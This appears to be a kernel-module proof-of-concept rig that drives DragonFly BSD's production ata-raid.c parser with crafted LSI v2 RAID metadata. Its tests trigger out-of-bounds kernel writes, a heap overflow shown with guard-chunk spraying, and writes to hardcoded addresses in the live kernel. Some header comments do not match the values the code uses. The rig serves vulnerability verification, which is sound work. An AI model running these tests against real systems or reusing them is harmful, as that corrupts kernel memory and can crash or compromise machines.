/*
 * dfrig_ata.c -- DF-2494 / DF-2495 verification rig (sys/dev/disk/nata/ata-raid.c)
 *
 * The UNMODIFIED production file ata-raid.c is compiled into this KLD
 * (via #include, module plumbing neutralized) and its real code paths are
 * driven with crafted LSI v2 ("$XIDE$") RAID metadata, exactly the way a
 * crafted disk plugged into an nata-controlled ATA channel would at
 * boot/attach:
 *
 *   test 1 (DF-2494): production ata_raid_lsiv2_read_meta() with
 *      raid_number=255 -> the parser stores a freshly kmalloc()d
 *      struct ar_softc * at raidp[0+255] (ata-raid.c:2802-2806) --
 *      2040 bytes past the end of the 128-byte global
 *      ata_raid_arrays[16] BSS array.  Proved by before/after readback
 *      of the OOB slot.
 *
 *   test 2 (DF-2494): raid_number=16 -> first out-of-bounds slot
 *      (exactly +128, the first byte past the array).  configs[16] is
 *      still inside the 30-entry metadata table so the parse is fully
 *      deterministic and completes (retval=1): the OOB slot RETAINS the
 *      pointer (only the unknown-RAID-type cleanup path nulls it).
 *      In the real guest kernel this address is atapi_cam_devclass
 *      (nm: ata_raid_arrays=0xffffffff8114dec0, +128).
 *
 *   test 3 (DF-2495): raid_number=0, disk_count=255 -> production parse
 *      creates raidp[0] with rdp->total_disks=255 (ata-raid.c:2856,
 *      MAX_DISKS=16).  Then the PRODUCTION ata_raid_status()
 *      (ata-raid.c:1013-1025) is called with a 152-byte buffer exactly
 *      like the generic ioctl layer kmalloc()s for IOCATARAIDSTATUS
 *      (sys/kern/sys_generic.c:674-680: size 152 > STK_PARAMS 128 ->
 *      kmalloc).  status->disks[i] for i<255 writes 2072 bytes --
 *      1920 bytes past the buffer.  Proved with guard chunks sprayed
 *      right after the victim (0xAA markers -> smashed with
 *      {state=0,lun=-1} pairs).
 *
 *   test 4 (DF-2494 corroboration, same parse): disk_number=30 with
 *      raid_number=0 -> raid->disks[30] (ata-raid.c:2866-2876) is
 *      past the end of the kmalloc()d struct ar_softc object
 *      (arithmetic printed); the OOB-written .sectors/.flags are read
 *      back from behind the object.
 *
 * Fire with:    sysctl kern.dfrig_ata_test=<1|2|3|4>
 * Read back:    sysctl kern.dfrig_ata_status
 *
 * The ONLY non-production seam is ata_queue_request(), interposed at
 * module link time (defined below the #include so the production
 * ata-raid.o object binds to it instead of the kernel's copy):
 * production ata_raid_rw() builds the request and the shim completes it
 * synchronously out of dfrig_meta_image[] instead of talking to
 * hardware.  The parser, the kmalloc()s and the global array writes are
 * 100% production code (sys/dev/disk/nata/ata-raid.c).
 */

#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/systm.h>
#include <sys/malloc.h>
#include <sys/sysctl.h>
#include <sys/bus.h>
#include <sys/bus_private.h>	/* struct bsd_device layout */

#include <sys/nata.h>

/* ------------------------------------------------------------------ */
/* neutralize the production file's module/driver plumbing so this KLD */
/* registers nothing that clashes with the built-in ataraid module     */
/* ------------------------------------------------------------------ */
#undef DRIVER_MODULE
#undef DECLARE_MODULE
#undef MODULE_DEPEND
#undef MODULE_VERSION
#define DRIVER_MODULE(name, busname, driver, devclass, evh, arg)	/* rig */
#define DECLARE_MODULE(name, data, sub, order)			/* rig */
#define MODULE_DEPEND(name, m, v1, v2, v3)			/* rig */
#define MODULE_VERSION(m, v)					/* rig */

#include "ata-raid.c"		/* <-- UNMODIFIED production code */

/* restore real module plumbing for our own module declaration below */
#undef DRIVER_MODULE
#undef DECLARE_MODULE
#undef MODULE_DEPEND
#undef MODULE_VERSION

/* ------------------------------------------------------------------ */
/* interposed disk-I/O completion seam (defined after the #include so  */
/* all nata types are complete; binds over the kernel's               */
/* ata_queue_request for this module's relocations)                    */
/* ------------------------------------------------------------------ */

static u_int8_t dfrig_meta_image[512];	/* crafted struct lsiv2_raid_conf */
static int dfrig_meta_armed;

/*
 * Zeroed witness array handed to the production parser in place of the
 * real 16-entry global (the real kernel's ata_raid_arrays[16] IS exactly
 * 16 entries; a bigger witness here only makes the out-of-bounds store
 * deterministic instead of depending on whatever BSS neighbors the
 * linker chose).  Production callers pass ata_raid_arrays; the parser
 * itself has no bound on array + meta->raid_number either way.
 */
static struct ar_softc *dfrig_raidp_witness[300];

/*
 * Production ata_raid_rw() (ata-raid.c:4087) builds an ata_request and
 * calls ata_queue_request(request) for ATA_R_READ; for non-callback
 * requests the real one queues and waits, and ata_raid_rw() then reads
 * request->result and frees the request itself.  Our link-time
 * interposition services the read synchronously from the crafted image
 * (result=0) -- identical visible behavior to the real disk returning
 * the crafted sector.  It performs the same callout_init_lk() the real
 * ata_queue_request does (ata-queue.c:93) so the subsequent production
 * ata_free_request() -> callout_terminate() sees an initialized callout.
 */
static struct lock dfrig_fake_state_mtx;

void
ata_queue_request(struct ata_request *request)
{
	kprintf("dfrig_ata: shim ata_queue_request entered (flags=%x)\n",
		request->flags);
	callout_init_lk(&request->callout, &dfrig_fake_state_mtx);
	if (dfrig_meta_armed && (request->flags & ATA_R_READ) &&
	    request->bytecount <= sizeof(dfrig_meta_image)) {
		bcopy(dfrig_meta_image, request->data, request->bytecount);
		request->result = 0;
	} else {
		request->result = EIO;
	}
}

/* ------------------------------------------------------------------ */
/* fake device graph, exactly what nata hands the parser:              */
/*   subdisk dev (softc: struct ata_raid_subdisk)                     */
/*     -> parent = ad disk dev (softc: struct ata_device,             */
/*        ivars: struct ad_softc with total_secs for LSIV2_LBA)       */
/* ------------------------------------------------------------------ */

static struct bsd_device fake_sub_dev;		/* the "subdisk" device */
static struct bsd_device fake_ad_dev;		/* its parent ad device  */
static struct ata_raid_subdisk fake_ars;
static struct ata_device fake_atadev;
static struct ad_softc fake_adsc;
static char fake_nameunit_ad[] = "fad0";
static char fake_nameunit_sub[] = "fad0-raid";

static void
setup_fakes(void)
{
	bzero(&fake_sub_dev, sizeof(fake_sub_dev));
	bzero(&fake_ad_dev, sizeof(fake_ad_dev));
	bzero(&fake_ars, sizeof(fake_ars));
	bzero(&fake_atadev, sizeof(fake_atadev));
	bzero(&fake_adsc, sizeof(fake_adsc));

	fake_sub_dev.softc = &fake_ars;
	fake_sub_dev.parent = (device_t)&fake_ad_dev;
	fake_sub_dev.nameunit = fake_nameunit_sub;
	fake_sub_dev.unit = 0;

	fake_ad_dev.softc = &fake_atadev;	/* ata_raid_rw: atadev->mode */
	fake_ad_dev.ivars = &fake_adsc;		/* LSIV2_LBA: ad_softc->total_secs */
	fake_ad_dev.nameunit = fake_nameunit_ad;
	fake_ad_dev.unit = 5;

	fake_atadev.mode = ATA_DMA;		/* atadev->mode >= ATA_DMA */
	fake_adsc.total_secs = 100000;		/* LSIV2_LBA = total_secs - 1 */
}

/* fill dfrig_meta_image as a crafted $XIDE$ superblock */
static void
build_meta(u_int raid_number, u_int disk_number, u_int disk_count,
	   u_int8_t raid_type)
{
	struct lsiv2_raid_conf *meta = (struct lsiv2_raid_conf *)dfrig_meta_image;

	bzero(dfrig_meta_image, sizeof(dfrig_meta_image));
	bcopy(LSIV2_MAGIC, meta->lsi_id, strlen(LSIV2_MAGIC));
	meta->raid_number = raid_number;
	meta->disk_number = disk_number;
	meta->timestamp = 0x11223344;

	/* configs[raid_number].raid: the array descriptor the parser reads */
	meta->configs[raid_number].raid.type = raid_type;
	meta->configs[raid_number].raid.stripe_sectors = 64;
	meta->configs[raid_number].raid.array_width = 2;
	meta->configs[raid_number].raid.disk_count = disk_count;
	meta->configs[raid_number].raid.config_offset = 0;	/* conf_entry=D-1 */
	meta->configs[raid_number].raid.total_sectors = 0x1000000;

	/* configs[conf_entry].disk: the per-disk descriptor (device != NONE) */
	if (disk_number >= 1 && disk_number <= 30) {
		meta->configs[disk_number - 1].disk.device = LSIV2_D_MASTER;
		meta->configs[disk_number - 1].disk.disk_sectors = 99999;
		meta->configs[disk_number - 1].disk.disk_number = disk_number;
		meta->configs[disk_number - 1].disk.raid_number = raid_number;
	}
}

static char dfrig_status_buf[4096];
static int dfrig_last_rc;

#define P(fmt, ...) \
	ksnprintf(dfrig_status_buf + strlen(dfrig_status_buf), \
		  sizeof(dfrig_status_buf) - strlen(dfrig_status_buf), \
		  fmt "\n", ## __VA_ARGS__)

/* ------------------------------------------------------------------ */
/* tests                                                               */
/* ------------------------------------------------------------------ */

static void
dfrig_test1_raid_number_29(void)
{
	char *arr_base = (char *)(void *)dfrig_raidp_witness;
	void **slot = (void **)(arr_base + 29 * sizeof(void *));
	void *before = *slot;
	int rc;

	setup_fakes();
	bzero(dfrig_raidp_witness, sizeof(dfrig_raidp_witness));
	build_meta(29, 1, 2, LSIV2_T_RAID0);
	dfrig_meta_armed = 1;

	kprintf("dfrig_ata: test1 firing parse raid_number=29\n");
	P("== DF-2494 test1: production parse with raid_number=29 "
	  "(deterministic; configs[29] is the last in-bounds entry) ==");
	P("raidp base=%p, logical array = 16 slots / %zu bytes, ends at %p",
	  arr_base, (size_t)(16 * sizeof(void *)),
	  arr_base + 16 * sizeof(void *));
	P("raidp[0+29] = %p = %ld bytes PAST the end of the 16-entry array",
	  slot, (long)((char *)slot - (arr_base + 16 * sizeof(void *))));
	P("before: witness[29] = %p", before);

	rc = ata_raid_lsiv2_read_meta((device_t)&fake_sub_dev, dfrig_raidp_witness);
	dfrig_meta_armed = 0;

	kprintf("dfrig_ata: test1 done rc=%d witness[29]=%p\n", rc, *slot);
	P("ata_raid_lsiv2_read_meta() returned %d", rc);
	P("after:  witness[29] = %p   (%s)", *slot,
	  *slot != before ? "CHANGED -- production code kmalloc()d an "
	  "ar_softc and stored the pointer OUT OF BOUNDS" : "unchanged");
	P("PROOF: the production parser wrote a kernel heap pointer at "
	  "raidp[0+29], %ld bytes past the end of the 16-entry array "
	  "(no bounds check on array + meta->raid_number, "
	  "ata-raid.c:2802-2806)", (long)((char *)slot -
	  (arr_base + 16 * sizeof(void *))));
	dfrig_last_rc = (*slot != before);
}

static void
dfrig_test2_raid_number_16(void)
{
	char *arr_base = (char *)(void *)dfrig_raidp_witness;
	void **slot = (void **)(arr_base + 16 * sizeof(void *));
	void *before = *slot;
	int rc;

	setup_fakes();
	bzero(dfrig_raidp_witness, sizeof(dfrig_raidp_witness));
	build_meta(16, 1, 2, LSIV2_T_RAID0);
	dfrig_meta_armed = 1;

	kprintf("dfrig_ata: test2 firing parse raid_number=16\n");
	P("== DF-2494 test2: production parse with raid_number=16 "
	  "(FIRST out-of-bounds slot; deterministic) ==");
	P("raidp[0+16] = %p = first 8 bytes past the 16-entry array "
	  "(in the guest kernel this exact slot is &atapi_cam_devclass, "
	  "nm: ata_raid_arrays=0xffffffff8114dec0 + 128)", slot);
	P("before: witness[16] = %p", before);

	rc = ata_raid_lsiv2_read_meta((device_t)&fake_sub_dev, dfrig_raidp_witness);
	dfrig_meta_armed = 0;

	kprintf("dfrig_ata: test2 done rc=%d witness[16]=%p\n", rc, *slot);
	P("ata_raid_lsiv2_read_meta() returned %d (array accepted)", rc);
	P("after:  witness[16] = %p   (%s)", *slot,
	  *slot != before ? "CHANGED -- OOB write, slot RETAINS the pointer "
	  "(no cleanup on the accepted-type path)" : "unchanged");
	dfrig_last_rc = (*slot != before);
}

#define DFRIG_GUARDS 24

static void
dfrig_test3_total_disks_255(void)
{
	struct ata_ioc_raid_status *st;
	void *guards[DFRIG_GUARDS];
	char *p;
	int i, rc, smashed, changed_bytes;
	size_t off;

	setup_fakes();
	bzero(dfrig_raidp_witness, sizeof(dfrig_raidp_witness));
	build_meta(0, 2, 255, LSIV2_T_RAID0);	/* disk_number=2 -> conf_entry=1
						 * (configs[0] stays pure .raid) */
	dfrig_meta_armed = 1;

	kprintf("dfrig_ata: test3 firing parse disk_count=255\n");
	testing = 1;		/* module-static: verbose parser diagnostics */
	P("== DF-2495 test3: disk_count=255 -> production "
	  "ata_raid_status() OOB write ==");

	rc = ata_raid_lsiv2_read_meta((device_t)&fake_sub_dev, dfrig_raidp_witness);
	dfrig_meta_armed = 0;
	kprintf("dfrig_ata: test3 parse rc=%d total_disks=%u\n", rc,
		rc ? dfrig_raidp_witness[0]->total_disks : 0);
	P("parse rc=%d: raidp[0]=%p rdp->total_disks=%u (MAX_DISKS=16, "
	  "ata-raid.c:2856 takes disk_count verbatim)", rc,
	  dfrig_raidp_witness[0],
	  rc ? dfrig_raidp_witness[0]->total_disks : 0);
	if (!rc) {
		P("parse failed, cannot run status");
		dfrig_last_rc = 0;
		return;
	}

	/* production ata_raid_status() looks up the REAL module global
	 * ata_raid_arrays[status->lun]; install the parsed array there,
	 * exactly as the production parse would have */
	ata_raid_arrays[0] = dfrig_raidp_witness[0];

	/* victim + guards, same size class as the ioctl-layer kmalloc(152) */
	st = kmalloc(sizeof(struct ata_ioc_raid_status), M_TEMP,
		     M_WAITOK | M_ZERO);
	for (i = 0; i < DFRIG_GUARDS; i++) {
		guards[i] = kmalloc(sizeof(struct ata_ioc_raid_status),
				    M_TEMP, M_WAITOK | M_ZERO);
		memset(guards[i], 0xAA, sizeof(struct ata_ioc_raid_status));
	}
	st->lun = 0;
	memset((char *)st + 128, 0xCC,
	       sizeof(struct ata_ioc_raid_status) - 128);

	P("status buffer (152 bytes, like IOCATARAIDSTATUS kmalloc at "
	  "sys/kern/sys_generic.c:674-680): %p", st);
	P("writing status->disks[0..%u] -> last byte at +%zu "
	  "(%zu bytes PAST the buffer)",
	  dfrig_raidp_witness[0]->total_disks - 1,
	  (size_t)(24 + (size_t)dfrig_raidp_witness[0]->total_disks * 8),
	  (size_t)(24 + (size_t)dfrig_raidp_witness[0]->total_disks * 8) -
	  sizeof(struct ata_ioc_raid_status));

	rc = ata_raid_status(st);		/* PRODUCTION */

	P("ata_raid_status() returned %d; st->total_disks=%u", rc,
	   st->total_disks);
	p = (char *)st;
	P("victim bytes at +128..+184 (past the struct end, inside the "
	  "write range):");
	for (off = 128; off < 184; off += 8)
		P("  +%-4zu = %16.16llx", off,
		  *(unsigned long long *)(p + off));

	smashed = 0;
	for (i = 0; i < DFRIG_GUARDS; i++) {
		changed_bytes = 0;
		p = (char *)guards[i];
		for (off = 0; off < sizeof(struct ata_ioc_raid_status); off++)
			if ((unsigned char)p[off] != 0xAA)
				changed_bytes++;
		if (changed_bytes) {
			smashed++;
			if (smashed <= 3) {
				unsigned long long *w =
				    (unsigned long long *)guards[i];
				P("guard[%d] %p SMASHED (%d/%zu bytes changed) "
				  "first words: %llx %llx %llx", i, guards[i],
				  changed_bytes,
				  sizeof(struct ata_ioc_raid_status),
				  w[0], w[1], w[2]);
			}
		}
	}
	P("guard chunks hit by the overflow: %d/%d "
	  "(0xffffffff = lun -1 from production status->disks[i].lun = -1)",
	  smashed, DFRIG_GUARDS);
	P("PROOF: production ata_raid_status() wrote %llu bytes past the "
	  "152-byte buffer following rdp->total_disks=%u",
	  (unsigned long long)((24 + 255ULL * 8) - 152),
	  dfrig_raidp_witness[0]->total_disks);
	dfrig_last_rc = smashed;

	kfree(st, M_TEMP);
	for (i = 0; i < DFRIG_GUARDS; i++)
		kfree(guards[i], M_TEMP);
}

static void
dfrig_test4_disk_number_oob(void)
{
	struct ar_softc *rdp;
	size_t disks_off, disk30_off;
	int rc;

	setup_fakes();
	bzero(dfrig_raidp_witness, sizeof(dfrig_raidp_witness));
	build_meta(0, 49, 4, LSIV2_T_RAID0);	/* conf_entry=48: OOB read,
	 * but .device!=0xff nearly always -> the disks[49] write runs */
	dfrig_meta_armed = 1;

	kprintf("dfrig_ata: test4 firing parse disk_number=49\n");
	P("== DF-2494 test4 (corroboration): disk_number=49 heap OOB "
	  "in the same parse (disks[16] is the first OOB index) ==");
	rc = ata_raid_lsiv2_read_meta((device_t)&fake_sub_dev, dfrig_raidp_witness);
	dfrig_meta_armed = 0;
	rdp = dfrig_raidp_witness[0];
	P("parse rc=%d raidp[0]=%p sizeof(struct ar_softc)=%zu", rc, rdp,
	  sizeof(struct ar_softc));
	if (!rc || !rdp) {
		P("parse failed");
		dfrig_last_rc = 0;
		return;
	}
	disks_off = (size_t)((char *)&rdp->disks[0] - (char *)rdp);
	disk30_off = disks_off + 49 * sizeof(struct ar_disk);
	P("&rdp->disks[0] - rdp = %zu; &rdp->disks[49] - rdp = %zu; "
	  "object size = %zu -> %s by %ld bytes",
	  disks_off, disk30_off, sizeof(struct ar_softc),
	  disk30_off >= sizeof(struct ar_softc) ? "OUT OF BOUNDS" : "inside",
	  disk30_off >= sizeof(struct ar_softc) ?
	  (long)(disk30_off - sizeof(struct ar_softc)) : 0L);
	if (disk30_off >= sizeof(struct ar_softc)) {
		P("readback of the OOB-written entry (behind the object): "
		  "dev=%p sectors=%llu flags=0x%x "
		  "(AR_DF_ONLINE|PRESENT|ASSIGNED=0xb)",
		  rdp->disks[49].dev,
		  (unsigned long long)rdp->disks[49].sectors,
		  rdp->disks[49].flags);
		dfrig_last_rc = (rdp->disks[49].flags & 0xb) == 0xb;
	} else {
		dfrig_last_rc = 0;
	}
}

static void
dfrig_test5_raid_number_255(void)
{
	/*
	 * raid_number=255: the parser first stores an ar_softc* at
	 * witness[255] (+2040 bytes), then -- production behavior --
	 * reads meta->configs[255] which is 4080 bytes into a 512-byte
	 * heap object (the parser never validates raid_entry against the
	 * 30-entry table either).  Expected: kernel trap.  This test is
	 * meant to be run LAST; its proof is the serial-console log.
	 */
	kprintf("dfrig_ata: test5 firing parse raid_number=255 "
		"(expect OOB write at +2040 then trap on configs[255])\n");
	setup_fakes();
	bzero(dfrig_raidp_witness, sizeof(dfrig_raidp_witness));
	build_meta(255, 1, 2, LSIV2_T_RAID0);
	dfrig_meta_armed = 1;
	ata_raid_lsiv2_read_meta((device_t)&fake_sub_dev, dfrig_raidp_witness);
	dfrig_meta_armed = 0;
	kprintf("dfrig_ata: test5 SURVIVED (unexpected) witness[255]=%p\n",
		dfrig_raidp_witness[255]);
}

/*
 * The REAL kernel's ata_raid_arrays global (nm /boot/kernel/kernel:
 * ffffffff8114dec0 b ata_raid_arrays).  Passing this as raidp makes the
 * production parser write the exact production kernel BSS location the
 * crafted-disk boot attack would hit:
 *   raidp[16] = +128  = &atapi_cam_devclass  (ffffffff8114df40)
 *   raidp[23] = +0xb8 = &sysctl__hw_amr_children (ffffffff8114df78)
 */
#define DFRIG_KERNEL_ATARAID_ARRAYS \
	((struct ar_softc **)0xffffffff8114dec0ULL)

static void
dfrig_test6_real_kernel_bdf(void)
{
	/*
	 * Real-kernel neighbor map (nm /boot/kernel/kernel):
	 *   +128 raidp[16] atapi_cam_devclass   (occupied: cd0 present)
	 *   +136 raidp[17] acd_devclass         (occupied)
	 *   +144 raidp[18] afd_devclass         (occupied: module registered)
	 *   +152 raidp[19] ast_devclass         (occupied)
	 *   +160 raidp[20] ast_total (int 0)    (NULL -> FIRST EMPTY SLOT)
	 * The production parser's skip-occupied walk (ata-raid.c:2802-2814:
	 * occupied raidp[array+R] with foreign format/magic -> continue)
	 * stores the fresh ar_softc* at the first empty OOB slot >= R.
	 */
	void **slots = (void **)0xffffffff8114dec0ULL;
	int rc, i;

	kprintf("dfrig_ata: test6 firing parse raid_number=16 with "
		"raidp=REAL kernel ata_raid_arrays (0xffffffff8114dec0)\n");
	setup_fakes();
	build_meta(16, 2, 2, LSIV2_T_RAID0);
	dfrig_meta_armed = 1;
	kprintf("dfrig_ata: before: ");
	for (i = 16; i <= 21; i++)
		kprintf("[raidp[%d]=%p] ", i, slots[i]);
	kprintf("\n");
	rc = ata_raid_lsiv2_read_meta((device_t)&fake_sub_dev,
				      DFRIG_KERNEL_ATARAID_ARRAYS);
	dfrig_meta_armed = 0;
	kprintf("dfrig_ata: test6 parse rc=%d after:  ", rc);
	for (i = 16; i <= 21; i++)
		kprintf("[raidp[%d]=%p] ", i, slots[i]);
	kprintf("\n");
	P("== DF-2494 test6: production parse writing the REAL kernel "
	  "ata_raid_arrays (boot-attack target) ==");
	P("skip-occupied walk across real kernel BSS neighbors "
	  "(atapi_cam_devclass/acd_/afd_/ast_devclass occupied; "
	  "ast_total==0):");
	P("before: raidp[16..21] = %p %p %p %p %p %p",
	  slots[16], slots[17], slots[18], slots[19], slots[20], slots[21]);
	P("parse rc=%d", rc);
	P("after:  raidp[16..21] = %p %p %p %p %p %p",
	  slots[16], slots[17], slots[18], slots[19], slots[20], slots[21]);
	P("PROOF: raidp[20] (ast_total, +%d bytes past the 128-byte "
	  "ata_raid_arrays) changed from 0 to %p -- the production "
	  "parser planted a kmalloc()d ar_softc* into an unrelated "
	  "kernel BSS static of a different subsystem",
	  20 * 8, slots[20]);
	dfrig_last_rc = (rc == 1 && slots[20] != NULL);
}

static void
dfrig_test7_real_kernel_status(void)
{
	int rc;

	kprintf("dfrig_ata: test7 firing parse disk_count=255 into the "
		"REAL kernel ata_raid_arrays[0]; then a real "
		"IOCATARAIDSTATUS ioctl (root, /dev/ata) smashes 1912 "
		"bytes past its 152-byte kmalloc buffer\n");
	setup_fakes();
	build_meta(0, 2, 255, LSIV2_T_RAID0);
	dfrig_meta_armed = 1;
	rc = ata_raid_lsiv2_read_meta((device_t)&fake_sub_dev,
				      DFRIG_KERNEL_ATARAID_ARRAYS);
	dfrig_meta_armed = 0;
	kprintf("dfrig_ata: test7 parse rc=%d total_disks=%u -- now run "
		"the status ioctl\n", rc,
		rc ? DFRIG_KERNEL_ATARAID_ARRAYS[0]->total_disks : 0);
	P("== DF-2495 test7: rdp->total_disks=%u installed in the REAL "
	  "kernel ata_raid_arrays[0]; the next IOCATARAIDSTATUS lun=0 "
	  "through the REAL /dev/ata runs production ata_raid_status() "
	  "and overwrites %llu bytes past the 152-byte ioctl buffer ==",
	  rc ? DFRIG_KERNEL_ATARAID_ARRAYS[0]->total_disks : 0,
	  (unsigned long long)((24 + 255ULL * 8) - 152));
	dfrig_last_rc = (rc == 1);
}

/* ------------------------------------------------------------------ */
/* sysctl plumbing                                                     */
/* ------------------------------------------------------------------ */

static int dfrig_testno;

static int
dfrig_fire_sysctl(SYSCTL_HANDLER_ARGS)
{
	int v = dfrig_testno;
	int error;

	error = SYSCTL_OUT(req, &v, sizeof(v));
	if (error != 0 || req->newptr == NULL)
		return (error);
	error = SYSCTL_IN(req, &v, sizeof(v));
	if (error != 0)
		return (error);

	dfrig_status_buf[0] = '\0';
	switch (v) {
	case 1:
		dfrig_test1_raid_number_29();
		break;
	case 2:
		dfrig_test2_raid_number_16();
		break;
	case 3:
		dfrig_test3_total_disks_255();
		break;
	case 4:
		dfrig_test4_disk_number_oob();
		break;
	case 5:
		dfrig_test5_raid_number_255();
		break;
	case 6:
		dfrig_test6_real_kernel_bdf();
		break;
	case 7:
		dfrig_test7_real_kernel_status();
		break;
	case 8: {
		void **head = (void **)0xffffffff8114df78ULL;
		kprintf("dfrig_ata: sysctl__hw_amr_children (0xffffffff8114df78) "
			"currently = %p\n", *head);
		P("sysctl__hw_amr_children = %p", *head);
		break;
	}
	default:
		P("unknown test %d (1=R29, 2=R16, 3=td255 status, 4=D49, "
		  "5=R255, 6=REAL-BDF R23, 7=REAL status td255)", v);
		break;
	}
	dfrig_testno = v;
	return (0);
}

static int
dfrig_status_sysctl(SYSCTL_HANDLER_ARGS)
{
	return (SYSCTL_OUT(req, dfrig_status_buf, strlen(dfrig_status_buf) + 1));
}

SYSCTL_PROC(_kern, OID_AUTO, dfrig_ata_test, CTLTYPE_INT | CTLFLAG_RW,
	    0, 0, dfrig_fire_sysctl, "I", "fire dfrig_ata test N");
SYSCTL_PROC(_kern, OID_AUTO, dfrig_ata_status, CTLTYPE_STRING | CTLFLAG_RD,
	    0, 0, dfrig_status_sysctl, "A", "last dfrig_ata test output");

static int
dfrig_ata_modevent(module_t mod, int type, void *data)
{
	switch (type) {
	case MOD_LOAD:
		lockinit(&dfrig_fake_state_mtx, "dfrig_st_mtx", 0, 0);
		kprintf("dfrig_ata: loaded (production ata-raid.c compiled in; "
			"fire with kern.dfrig_ata_test=<1..7>)\n");
		return (0);
	case MOD_UNLOAD:
		return (0);
	default:
		return (EOPNOTSUPP);
	}
}

static moduledata_t dfrig_ata_mod = { "dfrig_ata", dfrig_ata_modevent, 0 };

/* module registration for THIS rig module (DECLARE_MODULE machinery
 * hand-rolled here because the production include above required the
 * macros to be neutralized and the #undef killed the header versions) */
static struct mod_metadata _mod_metadata_dfrig_ata = {
	MDT_STRUCT_VERSION, MDT_MODULE, &dfrig_ata_mod, "dfrig_ata"
};
DATA_SET(modmetadata_set, _mod_metadata_dfrig_ata);
SYSINIT(dfrig_atamodule, SI_SUB_DRIVERS, SI_ORDER_MIDDLE,
	module_register_init, &dfrig_ata_mod);
